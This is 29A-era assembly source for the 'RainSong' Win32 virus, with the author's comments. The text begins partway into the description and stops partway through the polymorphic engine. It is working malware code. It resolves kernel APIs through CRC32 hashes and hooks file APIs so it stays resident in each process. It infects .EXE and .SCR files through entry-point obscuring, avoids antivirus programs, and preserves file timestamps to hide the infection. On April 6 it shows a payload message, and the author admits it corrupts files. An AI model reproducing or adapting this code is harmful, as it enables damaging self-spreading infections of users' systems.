;the virus gets control not immediately at infected file start, but only in
;case the patched file code receives control.
;
;The virus has a bug and often corrupt files while infecting them.
;[This is true due i don't check if the import section has write attributes]
;[RainSong will corrupt all the windows file in win98 se :(]
;
;The virus avoids several anti-virus files infection, it detects them by two
;first letters in file name: AV*, AN*, DR*, ID*, OD*, TB*, F-*.
;[They NEVER analize the algo!!! A file called ?????AV.??? is never infected]
;[Why they insist in the 'two fist letters' shit?]
;
;On April 6th it generates Windows error message with the text:
;
;ASIMOV Jan.2.1920 - Apr.6.1992
;
;The virus also contains the text:
;
;< The Rain Song Coded By Bumblebee/29a >
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; The source is commented so... have fun!
; After i've released it i've found 2 little bugs :(
; But don't worry, it work fine. See comments.
;
;
; The way of the bee
;
.486p
locals
.model flat,STDCALL

extrn ExitProcess:PROC ; needed for 1st generation

vSize equ vEnd-vBegin


crptSize equ crptEND-crptINI
PADDING equ 101
STRINGTOP equ 160

; from BC++ Win32 API on-line Reference


WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends

.DATA
; dummy data
db 'WARNING - This is a virus carrier - WARNING'

.CODE
vBegin label byte
inicio:
; call for the polymorphic decryptor
call crypt

crptINI label byte


; a lame 2nd layer
call secondLayerDecrypt
crptSecondINI label byte

; to store the return to host address


push offset fakeHost
hostRET equ $-4
pushad
; to support relocs
push offset inicio
virusEP equ $-4

; get delta offset


call getDelta

; setup relocations
pop eax ; get stored virus EP
lea edx,inicio+ebp ; get current
sub edx,eax ; calc displacement
add dword ptr [esp+20h],edx ; fix hostRET
add dword ptr [imageBase+ebp],edx ; fix image base

; Get Kernel32 address


; 1st check if we are in a EPO address
mov eax,dword ptr [EPOAddr+ebp]
or eax,eax
jz getK32notEPO

; we canot rely on stack... try some addresses


tryFix:
mov esi,dword ptr [kernel32+ebp] ; test latest
inc esi
call GetKernel32
jnc getAPIsNow

mov esi,077e00001h ; test for win2k


call GetKernel32
jnc getAPIsNow

mov esi,077f00001h ; test for winNt


call GetKernel32
jnc getAPIsNow

mov esi,0bff70001h ; test for win9x


call GetKernel32
jc returnHost
jmp getAPIsNow

getK32notEPO:
; use the value in the stack
mov esi,dword ptr [esp+24h]
call GetKernel32
jc tryFix

getAPIsNow:
; now get APIs using CRC32
mov edi,12345678h
kernel32 equ $-4
mov esi,edi
mov esi,dword ptr [esi+3ch]
add esi,edi
mov esi,dword ptr [esi+78h]
add esi,edi
add esi,1ch

lodsd
add eax,edi
mov dword ptr [address+ebp],eax
lodsd
add eax,edi
mov dword ptr [names+ebp],eax
lodsd
add eax,edi
mov dword ptr [ordinals+ebp],eax

sub esi,16
lodsd
mov dword ptr [nexports+ebp],eax

xor edx,edx
mov dword ptr [expcount+ebp],edx
lea eax,FSTAPI+ebp

searchl:
mov esi,dword ptr [names+ebp]
add esi,edx
mov esi,dword ptr [esi]
add esi,edi
push eax edx edi
xor edi,edi
movzx di,byte ptr [eax+4]
call CRC32
xchg ebx,eax
pop edi edx eax
cmp ebx,dword ptr [eax]
je fFound
add edx,4
inc dword ptr [expcount+ebp]
push edx
mov edx,dword ptr [expcount+ebp]
cmp dword ptr [nexports+ebp],edx
pop edx
je returnHost
jmp searchl
fFound:
shr edx,1
add edx,dword ptr [ordinals+ebp]
xor ebx,ebx
mov bx,word ptr [edx]
shl ebx,2
add ebx,dword ptr [address+ebp]
mov ecx,dword ptr [ebx]
add ecx,edi

mov dword ptr [eax+5],ecx


add eax,9
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea ecx,ENDAPI+ebp
cmp eax,ecx
jb searchl

; we must make a memory copy of the virus and work there


; the original copy it's patched to return host.
; This is necessary due we could be called from a call more
; than once... just think what happens when you decrypt twice...
push 00000040h
push 00001000h OR 00002000h
push (vSize+1000h)
push 0h
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jz returnHost

lea esi,inicio+ebp
mov edi,eax
mov ecx,vSize
rep movsb
lea esi,hostRET-1
lea edi,inicio+ebp
mov ecx,5
rep movsb
mov byte ptr [edi],0c3h
add eax,offset memCopy-offset inicio
push eax
ret

memCopy:
; get delta offset another time
call getDelta

lea edx,fileSize+ebp ; check for Asimov


push edx ; death date
call dword ptr [_GetSystemTime+ebp]

lea edx,fileSize+ebp
cmp word ptr [edx+2],4
jne skipPay
cmp word ptr [edx+6],6
jne skipPay

lea edx,message+ebp
push edx
xor eax,eax
push eax
call dword ptr [_FatalAppExitA+ebp] ; bye bye ;)

skipPay:
; alloc a temporary buffer to generate the poly sample
; of the virus ready to infect
push 00000004h
push 00001000h OR 00002000h
push (vSize+1000h)
push 0h
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jz returnHost

mov dword ptr [memHnd+ebp],eax

; the same polymorphic routine is used for each infection


; in the current execution of the virus
call dword ptr [_GetTickCount+ebp]
mov edi,dword ptr [memHnd+ebp]
add edi,vSize
mov ecx,(crptSize/4)-(4-(crptSize MOD 4))
call GenDCrpt
; store the size of the sample (for infection process)
; and calc the virtual size
mov dword ptr [virtsize+ebp],vSize
cmp eax,BUFFERSIZE
jb decryptorSmall
add dword ptr [virtsize+ebp],eax
jmp virtSizeOk
decryptorSmall:
add dword ptr [virtsize+ebp],BUFFERSIZE
virtSizeOk:
add eax,vSize
mov dword ptr [gensize+ebp],eax

; Hook the API to get per-process residency


; Notice this must be called before any infection
call hookApi

lea esi,stringBuffer+ebp ; get current directory


push esi
push STRINGTOP
call dword ptr [_GetCurrentDirectoryA+ebp]
or eax,eax
jz returnHost

push STRINGTOP ; get windows directory


lea esi,tmpPath+ebp
push esi
call dword ptr [_GetWindowsDirectoryA+ebp]
or eax,eax
jz returnHost

lea esi,tmpPath+ebp ; goto windows directory


push esi
call dword ptr [_SetCurrentDirectoryA+ebp]
or eax,eax
jz returnHost

call infectDir ; infect!! buahahahah!


; estoooo
lea esi,stringBuffer+ebp ; go back home ;)
push esi
call dword ptr [_SetCurrentDirectoryA+ebp]

returnHost:
popad
ret
;
; Returns Delta offset into ebp.
;
getDelta:
call delta
delta:
pop ebp
sub ebp,offset delta
ret
;
; General hook. This routine is for all the hooks.
; We have into esi the path to analize, the address of the
; original API in the stack (plus a pushad) and the delta
; offset into ebp. I use a semaphore 'cause the virus doesn't support
; multithread. In case hooked API is called by other thread while
; the virus is in the infection process could be fatal. I'm not sure
; 100% this is necessary but... ;)
;
generalHook:
pushfd
cld
; set sem to working
mov byte ptr [semHook+ebp],1

call stringUp
jc hookInfectionFail

push edi
lea edx,stringBuffer+ebp
push edx
call dword ptr [_GetFileAttributesA+ebp]
pop edi
inc eax
jz hookInfectionFail
dec eax

and eax,00000010h ; it's a directory?


jnz infectPath

lea edx,stringBuffer+ebp
cmp word ptr [edx+1],'\:' ; absolute path?
je getPath

cmp word ptr [edx],'\\' ; absolute path?


jne infectCurrent

; if it's an absolute path to a file we quit the


; filename and try the directory
getPath:
cmp byte ptr [edi],'\'
je pathOk
dec edi
cmp edx,edi
je hookInfectionFail
jmp getPath

pathOk:
mov dword ptr [edi],0 ; now we have a path

; infects the path changing directory


infectPath:
; get current directory
lea esi,tmpPath+ebp
push esi
push STRINGTOP
call dword ptr [_GetCurrentDirectoryA+ebp]
or eax,eax
jz hookInfectionFail

; set current directory to path


lea esi,stringBuffer+ebp
push esi
call dword ptr [_SetCurrentDirectoryA+ebp]
or eax,eax
jz hookInfectionFail

call infectDir

; restore current directory


lea esi,tmpPath+ebp
push esi
call dword ptr [_SetCurrentDirectoryA+ebp]

jmp hookInfectionFail

; infects current directory 'cause we haven't any path


; to check (and the accessed file it's just there!)
infectCurrent:
call infectDir

hookInfectionFail:
; set sem to free
mov byte ptr [semHook+ebp],0
popfd
popad
ret
;
; Nice macro ;)
;
@hook macro ApiAddress
push eax
pushad
call getDelta
mov eax,dword ptr [ApiAddress+ebp]
mov dword ptr [esp+20h],eax
mov esi,dword ptr [esp+28h]

or esi,esi ; skip NULLs in filename


jz @@skipThisCall

cmp byte ptr [semHook+ebp],0


je generalHook
@@skipThisCall:
popad
ret
endm
;
; The hooks.
;
Hook0:
@hook _CreateFileA
Hook1:
@hook _MoveFileA
Hook2:
@hook _CopyFileA
Hook3:
@hook _CreateProcessA
Hook4:
@hook _SetFileAttributesA
Hook5:
@hook _GetFileAttributesA
Hook6:
@hook _SearchPathA
Hook7: ; this data it's included but
@hook _SetCurrentDirectoryA ; not used... ops
; i can remove it, but better it
; fits the released binary
; i realized this bug after release
;
; This routine hooks the API that gives the virus per-process residency.
; The image base address is stored in the infection process.
;
hookApi:
pushad
; init the sem to free
mov byte ptr [semHook+ebp],0
mov edx,400000h
imageBase equ $-4
cmp word ptr [edx],'ZM'
jne noHook
mov edi,edx
add edi,dword ptr [edx+3ch]
cmp word ptr [edi],'EP'
jne noHook
mov edi,dword ptr [edi+80h] ; RVA import
add edi,edx
searchK32Imp:
mov esi,dword ptr [edi+0ch] ; get name
or esi,esi
jz noHook
add esi,edx
push edi ; save (stringUp doesn't)
call stringUp
pop edi
jc nextName
lea esi,stringBuffer+ebp
cmp dword ptr [esi],'NREK' ; look for Kernel32 module
jne nextName
cmp dword ptr [esi+4],'23LE'
je k32ImpFound
nextName:
add edi,14h
mov esi,dword ptr [edi]
or esi,esi
jz noHook
jmp searchK32Imp
k32ImpFound:
mov esi,dword ptr [edi+10h] ; get address table
or esi,esi
jz noHook
add esi,edx
lea ecx,HOOKTABLEEND+ebp
nextImp: ; search for APIs
lea edx,HOOKTABLEBEGIN+ebp
lodsd
or eax,eax
jz noHook
checkNextAPI:
mov edi,dword ptr [edx]
cmp eax,dword ptr [edi+ebp]
je doHook
add edx,8
cmp edx,ecx
jne checkNextAPI
jmp nextImp
doHook:
mov eax,dword ptr [edx+4]
add eax,ebp
mov dword ptr [esi-4],eax
add edx,8
cmp edx,ecx
jne nextImp
noHook:
popad
ret
;
; Changes to upper case the string by esi storing into stringBuffer.
; Sets carry flag if our string buffer is small. Returns in edi the
; end of the string into the buffer. Requires SEH.
;
stringUp:
push esi eax
lea edi,stringBuffer+ebp
mov eax,edi
add eax,STRINGTOP
stringUpLoop:
cmp eax,edi
jne continueStringUp
stc
jmp stringUpOut
continueStringUp:
movsb
cmp byte ptr [esi-1],'a'
jb skipThisChar
cmp byte ptr [esi-1],'z'
ja skipThisChar
add byte ptr [edi-1],'A'-'a'
skipThisChar:
cmp byte ptr [esi-1],0
jne stringUpLoop
dec edi
clc
stringUpOut:
pop eax esi
ret
;
; This routine gets Kernel32 address. Uses SEH.
; The main purpose of this routine is search for the k32 address using
; a 'guess' address from the stack. But i cannot rely on the stack when
; the virus starts from EPO. Look the pieze of code that calls this
; routine to see how to fix it easily.
; Take a look to the article by Lethal Mind/29a from 29a#4 for more
; information about this method.
;
GetKernel32:
pushad
xor edx,edx
lea eax,dword ptr [esp-8h]
xchg eax,dword ptr fs:[edx]
lea edi,GetKernel32Exception+ebp
push edi
push eax

GetKernel32Loop:
dec esi
cmp word ptr [esi],'ZM' ; 'poda' -> this makes algo
jne GetKernel32Loop ; faster
mov dx,word ptr [esi+3ch]
test dx,0f800h
jnz GetKernel32Loop
cmp esi,dword ptr [esi+edx+34h]
jne GetKernel32Loop
mov dword ptr [kernel32+ebp],esi

xor edi,edi
pop dword ptr fs:[edi]
pop eax
popad
clc
ret

GetKernel32Exception:
xor edi,edi
mov eax,dword ptr fs:[edi]
mov esp,dword ptr [eax]
xor edi,edi
pop dword ptr fs:[edi]
pop eax
popad
stc
ret
;
; This routine makes CRC32.
;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
push ebx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
pop ebx
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
;
; Updates the virus sample ready to infect in our memory buffer.
;
updateVSample:
lea esi,vBegin+ebp
mov edi,dword ptr [memHnd+ebp]
mov ecx,vSize
rep movsb

mov ecx,crptSecondEND-crptSecondINI
mov esi,crptSecondINI-vBegin
add esi,dword ptr [memHnd+ebp]
secondEnLayerLoop:
not byte ptr [esi]
inc esi
loop secondEnLayerLoop

mov ecx,dword ptr [CodeSize+ebp]


mov esi,crptINI-vBegin
add esi,dword ptr [memHnd+ebp]
mov eax,dword ptr [CrptKey+ebp]
encrptLoop:
xor dword ptr [esi],eax
add esi,4
loop encrptLoop
ret
;
; Infects PE file increasing last section.
;
; ESI: addr of file name of PE to infect.
;
infect:
pushad
mov dword ptr [fNameAddr+ebp],esi

push esi
push esi
call dword ptr [_GetFileAttributesA+ebp]
pop esi
inc eax
jz infectionError
dec eax

mov dword ptr [fileAttrib+ebp],eax

push esi
push 00000080h
push esi
call dword ptr [_SetFileAttributesA+ebp]
pop esi
or eax,eax
jz infectionError

xor eax,eax
push eax
push 00000080h
push 00000003h
push eax
push eax
push 80000000h OR 40000000h
push esi
call dword ptr [_CreateFileA+ebp]
inc eax
jz infectionErrorAttrib
dec eax

mov dword ptr [fHnd+ebp],eax

push 0h
push eax
call dword ptr [_GetFileSize+ebp]
inc eax
jz infectionErrorClose
dec eax

mov dword ptr [fileSize+ebp],eax

lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp]
call dword ptr [_GetFileTime+ebp]
or eax,eax
jz infectionErrorClose

xor eax,eax
push eax
push eax
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose

mov dword ptr [fhmap+ebp],eax

xor eax,eax
push eax
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz infectionErrorCloseMap

mov dword ptr [mapMem+ebp],eax

mov edi,eax
cmp word ptr [edi],'ZM'
jne infectionErrorCloseUnmap

add edi,dword ptr [edi+3ch]


cmp eax,edi
ja infectionErrorCloseUnmap ; avoid fucking headers
add eax,dword ptr [fileSize+ebp]
cmp eax,edi
jb infectionErrorCloseUnmap ; avoid fucking headers
cmp word ptr [edi],'EP'
jne infectionErrorCloseUnmap

mov edx,dword ptr [edi+16h] ; test it's a valid PE


test edx,2h ; i want executable
jz infectionErrorCloseUnmap
and edx,2000h ; i don't want DLL
jnz infectionErrorCloseUnmap
mov dx,word ptr [edi+5ch]
dec edx ; i don't want NATIVE
jz infectionErrorCloseUnmap

mov edx,edi

mov esi,edi
mov eax,18h
add ax,word ptr [edi+14h]
add edi,eax
mov dword ptr [fstSec+ebp],edi

push edx
mov cx,word ptr [esi+06h]
mov ax,28h
dec cx
mul cx
add edi,eax
pop edx

test dword ptr [edi+24h],10000000h ; avoid this kind of section


jnz infectionErrorCloseUnmap ; we can corrupt it!
test dword ptr [edi+24h],0e0000020h ; mmm... This is infected yet
jz infectionErrorCloseUnmap ; another bug! must be jnz

mov eax,dword ptr [edi+10h] ; i rely on the headers...


add eax,dword ptr [edi+14h]
mov dword ptr [fileSize+ebp],eax

sub eax,dword ptr [edi+14h] ; calc our RVA


add eax,dword ptr [edi+0ch]
mov dword ptr [myRVA+ebp],eax
; save virus entry point to calc relocations in
; execution time
add eax,dword ptr [esi+34h]
mov dword ptr [virusEP+ebp],eax

mov eax,dword ptr [edi+08h] ; fix the virtual size


push edx ; if needed
mov ecx,dword ptr [edx+38h] ; some PE have strange
xor edx,edx ; virt size (cdplayer p.e.)
div ecx
inc eax
or edx,edx
jz rvaFixDone
xor edx,edx
mul ecx

mov dword ptr [edi+08h],eax ; save the fixed virt size


rvaFixDone:

; save image base for hook API


mov edx,dword ptr [esi+34h]
mov dword ptr [imageBase+ebp],edx
pop edx

call searchEPO ; Search for a call


jc notEPO

push edi edx ecx ; patch the call


mov edx,dword ptr [myRVA+ebp]
add edx,dword ptr [esi+34h] ; edx = dest rva
mov edi,dword ptr [EPORva+ebp]
add edi,dword ptr [esi+34h] ; edi = call rva
sub edx,edi
sub edx,5 ; edx patch the call
mov ecx,dword ptr [EPOAddr+ebp]
xchg dword ptr [ecx+1],edx
add edx,edi ; get the rva
add edx,5
mov dword ptr [hostRET+ebp],edx ; and store it ;)
pop ecx edx edi

jmp yeahEPO
notEPO:
call lightEPO ; try light EPO
jc notNotEPO

push edx ecx ; add the jump


mov ecx,dword ptr [myRVA+ebp]
add ecx,dword ptr [esi+34h] ; ecx = dest rva
mov edx,dword ptr [EPORva+ebp]
mov dword ptr [myRVA+ebp],edx
add edx,dword ptr [esi+34h] ; edx = jmp rva
sub ecx,edx
sub ecx,5 ; ecx the addr jmp
mov edx,dword ptr [EPOAddr+ebp]
mov byte ptr [edx],0e9h
mov dword ptr [edx+1],ecx
pop ecx edx
; now lets the header be patched with this data ;)

notNotEPO:
; if i can't found a nice call to patch and i can't add
; a jump in the end of the code section i use the non-EPO
; infection. This could be a problem for the wild time
; of the virus 'cause heuristics can fake it easily
; but we want to be infectious ;)
push edi ; store new ep and get old
mov edi,dword ptr [myRVA+ebp] ; set edi=new ep
mov dword ptr [EPOAddr+ebp],0 ; getk32 changes if epo!

xchg edi,dword ptr [esi+28h] ; get host EP and set new


add edi,dword ptr [esi+34h]
mov dword ptr [hostRET+ebp],edi ; save it
pop edi
yeahEPO:
push edx ; calc the new virtual size
mov eax,dword ptr [virtsize+ebp] ; for the section
mov ecx,dword ptr [edx+38h]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
pop edx

add dword ptr [edi+08h],eax ; fix the virtual size


add dword ptr [edx+50h],eax ; fix the image size

or dword ptr [edi+24h],0e0000020h ; set the properties

push edx ; calc new size for


mov eax,dword ptr [gensize+ebp] ; the section
mov ecx,dword ptr [edx+3ch]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
pop edx

add dword ptr [edi+10h],eax ; store the phys size

push edx ; calc file padding


mov ecx,PADDING ; (infection sign)
add eax,dword ptr [fileSize+ebp]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
mov dword ptr [pad+ebp],eax
pop edx

; update the virus sample ready to infect.


call updateVSample
push dword ptr [mapMem+ebp]
call dword ptr [_UnmapViewOfFile+ebp]

push dword ptr [fhmap+ebp]


call dword ptr [_CloseHandle+ebp]

xor eax,eax
push eax
push dword ptr [pad+ebp]
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose

mov dword ptr [fhmap+ebp],eax

xor eax,eax
push dword ptr [pad+ebp]
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz infectionErrorCloseMap

mov dword ptr [mapMem+ebp],eax

mov ecx,dword ptr [gensize+ebp]


mov esi,dword ptr [memHnd+ebp]
mov edi,eax
add edi,dword ptr [fileSize+ebp]
rep movsb

xchg ecx,eax ; Why i want the padding


mov eax,edi ; to be zeroes?
sub eax,ecx ; bah only one 'pijada'
mov ecx,dword ptr [pad+ebp]
sub ecx,eax
xor eax,eax
rep stosb

infectionErrorCloseUnmap:
push dword ptr [mapMem+ebp]
call dword ptr [_UnmapViewOfFile+ebp]

infectionErrorCloseMap:
push dword ptr [fhmap+ebp]
call dword ptr [_CloseHandle+ebp]

lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp]
call dword ptr [_SetFileTime+ebp]

infectionErrorClose:
push dword ptr [fHnd+ebp]
call dword ptr [_CloseHandle+ebp]

infectionErrorAttrib:
push dword ptr [fileAttrib+ebp]
push dword ptr [fNameAddr+ebp]
call dword ptr [_SetFileAttributesA+ebp]

infectionError:
popad
ret

;
; This my 'search EPO' routine. Searches for a call into the code section
; that points to:
;
; push ebp
; mov ebp,esp
;
; This is the way the high level lenguages get the arguments used to call
; a procedure. If this code is found i assume the call found it's correct
; and i patch it to jump into the virus.
;
; I tested selecting the call randomly, but this is not needed. There
; could be calls that points the desired code and call that are not
; useful for the virus. Av cannot know wich is the call patched utill
; it finds it. Moreover using 1st found call i'm more sure that the virus
; will be executed! And this is good enought to fuck most cool heuristics.
;
searchEPO:
pushad
mov edi,dword ptr [esi+28h] ; get host EP

xor ecx,ecx
mov cx,word ptr [esi+06h] ; number of sections
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr

sectionLoop: ; look for code section


mov ebx,dword ptr [esi+0ch]
add ebx,dword ptr [esi+08h] ; test it's inside this
cmp edi,ebx ; section
jb sectionFound
add esi,28h
dec ecx
jnz sectionLoop
stc
jmp searchEPOOut

sectionFound:
test dword ptr [esi+24h],10000000h ; avoid this kind of section
jnz searchEPOFail ; we can corrupt it!

push esi
sub edi,dword ptr [esi+0ch] ; get raw address
add edi,dword ptr [esi+14h]
mov ecx,dword ptr [esi+10h]
cmp ecx,edi
jna searchEPOFail
sub ecx,edi
add edi,dword ptr [mapMem+ebp]
mov ebx,edi
add ebx,ecx
sub ebx,10h ; high secure fence
callLoop: ; loop that searches
cmp byte ptr [edi],0e8h ; for the call
jne continueCallLoop
mov edx,edi
add edx,dword ptr [edi+1]
add edx,5
cmp ebx,edx
jb continueCallLoop
cmp edx,dword ptr [mapMem+ebp]
jb continueCallLoop
mov esi,edx
mov dx,word ptr [esi]
cmp dx,08b55h
jne continueCallLoop
mov dx,word ptr [esi+1]
cmp dx,0ec8bh
jne continueCallLoop
mov dword ptr [EPOAddr+ebp],edi
sub edi,dword ptr [mapMem+ebp]
pop esi
add edi,dword ptr [esi+0ch] ; get rva address
sub edi,dword ptr [esi+14h]
mov dword ptr [EPORva+ebp],edi
clc
jmp searchEPOOut
continueCallLoop:
inc edi
loop callLoop
searchEPOFail:
pop esi
stc
searchEPOOut:
popad
ret
;
; This makes a light EPO. Looks for space in the code section to
; put there a jump to virus code. The header is patched but this
; patch is less notorious. This EPO requires phys size of section
; bigger than virtual size + 5 (the size of the jump).
;
lightEPO:
pushad
mov edi,dword ptr [esi+28h] ; get host EP

xor ecx,ecx
mov cx,word ptr [esi+06h] ; number of sections
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr

lightSectionLoop: ; look for code section


mov ebx,dword ptr [esi+0ch]
add ebx,dword ptr [esi+08h] ; test it's inside this
cmp edi,ebx ; section
jb lightSectionFound
add esi,28h
dec ecx
jnz lightSectionLoop
lightEPOFail:
stc
jmp lightEPOOut

lightSectionFound:
test dword ptr [esi+24h],10000000h ; avoid this kind of section
jnz lightEPOFail ; we can corrupt it!
mov eax,dword ptr [esi+08h] ; virtual size
add eax,5 ; plus the code we add
cmp eax,dword ptr [esi+10h] ; bigger than phys size?
ja lightEPOFail
mov edi,dword ptr [mapMem+ebp] ; get raw address
add edi,dword ptr [esi+08h]
add edi,dword ptr [esi+14h]
mov dword ptr [esi+08h],eax ; increase 5 bytes
mov dword ptr [EPOAddr+ebp],edi
sub edi,dword ptr [mapMem+ebp]
add edi,dword ptr [esi+0ch] ; get rva address
sub edi,dword ptr [esi+14h]
mov dword ptr [EPORva+ebp],edi
clc
lightEPOOut:
popad
ret
;
; Infects PE files in current directory.
;
infectDir:
pushad

lea esi,find_data+ebp
push esi
lea esi,fndMask+ebp
push esi
call dword ptr [_FindFirstFileA+ebp]
inc eax
jz notFound
dec eax

mov dword ptr [findHnd+ebp],eax

findNext:
lea esi,find_data.cFileName+ebp
call stringUp
lea esi,stringBuffer+ebp
push edi ; test the string it's
sub edi,esi ; long enought
cmp edi,5
pop edi
jna skipThisFile
cmp dword ptr [edi-4],'EXE.'
je validFileExt
cmp dword ptr [edi-4],'RCS.'
jne skipThisFile

validFileExt:
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
cmp eax,4000h
jb skipThisFile ; at least 4000h bytes?
mov ecx,PADDING ; test if it's infected
xor edx,edx ; yet
div ecx
or edx,edx ; reminder is zero?
jz skipThisFile

testIfAv: ; let's search for strings


; that may appear in av progs
lea edi,avStrings+ebp
mov ecx,vStringsCout
testIfAvL:
push esi
mov ax,word ptr [edi]
testAvLoop:
cmp word ptr [esi],ax
jne contTestLoop
pop esi
jmp skipThisFile
contTestLoop:
inc esi
cmp byte ptr [esi+3],0 ; skip the ext
jne testAvLoop
pop esi
add edi,2
loop testIfAvL

call infect

skipThisFile:
lea esi,find_data+ebp
push esi
push dword ptr [findHnd+ebp]
call dword ptr [_FindNextFileA+ebp] ; Find next file
or eax,eax
jnz findNext

push dword ptr [findHnd+ebp]


call dword ptr [_FindClose+ebp]

notFound:
popad
ret

;
; Virus data ---------------------------------------------------------------
;
HOOKTABLEBEGIN label byte
dd offset _CreateFileA
dd offset Hook0
dd offset _MoveFileA
dd offset Hook1
dd offset _CopyFileA
dd offset Hook2
dd offset _CreateProcessA
dd offset Hook3
dd offset _SetFileAttributesA
dd offset Hook4
dd offset _GetFileAttributesA
dd offset Hook5
dd offset _SearchPathA
dd offset Hook6
HOOKTABLEEND label byte
EPOAddr dd 0

copyright db '< The Rain Song Coded By Bumblebee/29a >',0dh,0ah

; little tribute
message db 'ASIMOV Jan.2.1920 - Apr.6.1992',0

FSTAPI label byte


CrcCreateFileA dd 08c892ddfh
db 12
_CreateFileA dd 0
CrcMapViewOfFile dd 0797b49ech
db 14
_MapViewOfFile dd 0

CrcCreatFileMappingA dd 096b2d96ch
db 19
_CreateFileMappingA dd 0

CrcUnmapViewOfFile dd 094524b42h
db 16
_UnmapViewOfFile dd 0

CrcCloseHandle dd 068624a9dh
db 12
_CloseHandle dd 0

CrcFindFirstFileA dd 0ae17ebefh
db 15
_FindFirstFileA dd 0

CrcFindNextFileA dd 0aa700106h
db 14
_FindNextFileA dd 0

CrcFindClose dd 0c200be21h
db 10
_FindClose dd 0

CrcVirtualAlloc dd 04402890eh
db 13
_VirtualAlloc dd 0

CrcGetTickCount dd 0613fd7bah
db 13
_GetTickCount dd 0

CrcGetFileTime dd 04434e8feh
db 12
_GetFileTime dd 0

CrcSetFileTime dd 04b2a3e7dh
db 12
_SetFileTime dd 0

CrcSetFileAttributesA dd 03c19e536h
db 19
_SetFileAttributesA dd 0

CrcGetFileAttributesA dd 0c633d3deh
db 19
_GetFileAttributesA dd 0

CrcGetFileSize dd 0ef7d811bh
db 12
_GetFileSize dd 0

CrcGetSystemTime dd 075b7ebe8h
db 14
_GetSystemTime dd 0

CrcFatalAppExitA dd 0253ab1b9h
db 14
_FatalAppExitA dd 0

CrcMoveFileA dd 02308923fh
db 10
_MoveFileA dd 0

CrcCopyFileA dd 05bd05db1h
db 10
_CopyFileA dd 0

CrcCreateProcessA dd 0267e0b05h
db 15
_CreateProcessA dd 0

CrcSearchPathA dd 0f4d9d033h
db 12
_SearchPathA dd 0

CrcGetCurrentDirectoryA dd 0ebc6c18bh
db 21
_GetCurrentDirectoryA dd 0

CrcSetCurrentDirectoryA dd 0b2dbd7dch
db 21
_SetCurrentDirectoryA dd 0

CrcGetWindowsDirectoryA dd 0fe248274h
db 21
_GetWindowsDirectoryA dd 0
ENDAPI label byte

; AV: AVP, PAV, NAV, ...


; AN: SCAN, VISUSSCAN, ...
; DR: DRWEB
; ID: SPIDER
; OD: NOD-ICE
; TB: THUNDERBYTE... (this still exists?)
; F-: F-PROT, ...
avStrings dw 'VA','NA','RD','DI','DO','BT','-F'
vStringsCout equ (offset $-offset avStrings)/2
fndMask db '*.*',0
;
; Virus data ends here -----------------------------------------------------
;

;
; Polymorphic Engine (V2LPE - Very^2 Lame Polymorphic Engine)
;
; This is a simple polymorphic engine. Uses some piezes of code from
; AOCPE. Very, very lame :( But does its work as poly engine. May be
; its size the only one point for.
;
; EAX: CrptKey
; ECX: CodeSize (code to decrypt prepared yet)
; EDI: Destination address
;
; returns EAX: size of generated proc
;
GenDCrpt:
pushad ; setup regs status
xor eax,eax
lea edi,RegStatus+ebp
mov ecx,8
rep stosb
popad
mov byte ptr [RegStatus+ebp+_EBP],1
mov byte ptr [RegStatus+ebp+_ESP],1
mov dword ptr [CrptKey+ebp],eax
mov dword ptr [CodeSize+ebp],ecx

push edi

xor eax,eax
call GetReg
mov byte ptr [KeyReg+ebp],al

call AddShit

mov cl,_EBP
call AddPushREG

call AddShit

mov ax,0ec8bh
stosw

call AddShit

mov edx,04h
mov cl,_EBP
call AddMovREGMEMEBP

call AddShit

mov cl,byte ptr [KeyReg+ebp]


call AddPushREG

call AddShit

mov cl,byte ptr [KeyReg+ebp]


mov edx,dword ptr [CrptKey+ebp]
call AddMovREGINM

call AddShit

call GetReg
mov byte ptr [LoopReg+ebp],al

mov cl,al
call AddPushREG

call AddShit

mov cl,byte ptr [LoopReg+ebp]


mov edx,dword ptr [CodeSize+ebp]
call AddMovREGINM

call AddShit

push edi

mov cl,byte ptr [KeyReg+ebp]


call AddXorMEMEBPREG

call AddShit
mov cl,_EBP
mov edx,04h
call AddAddREGINM

call AddShit

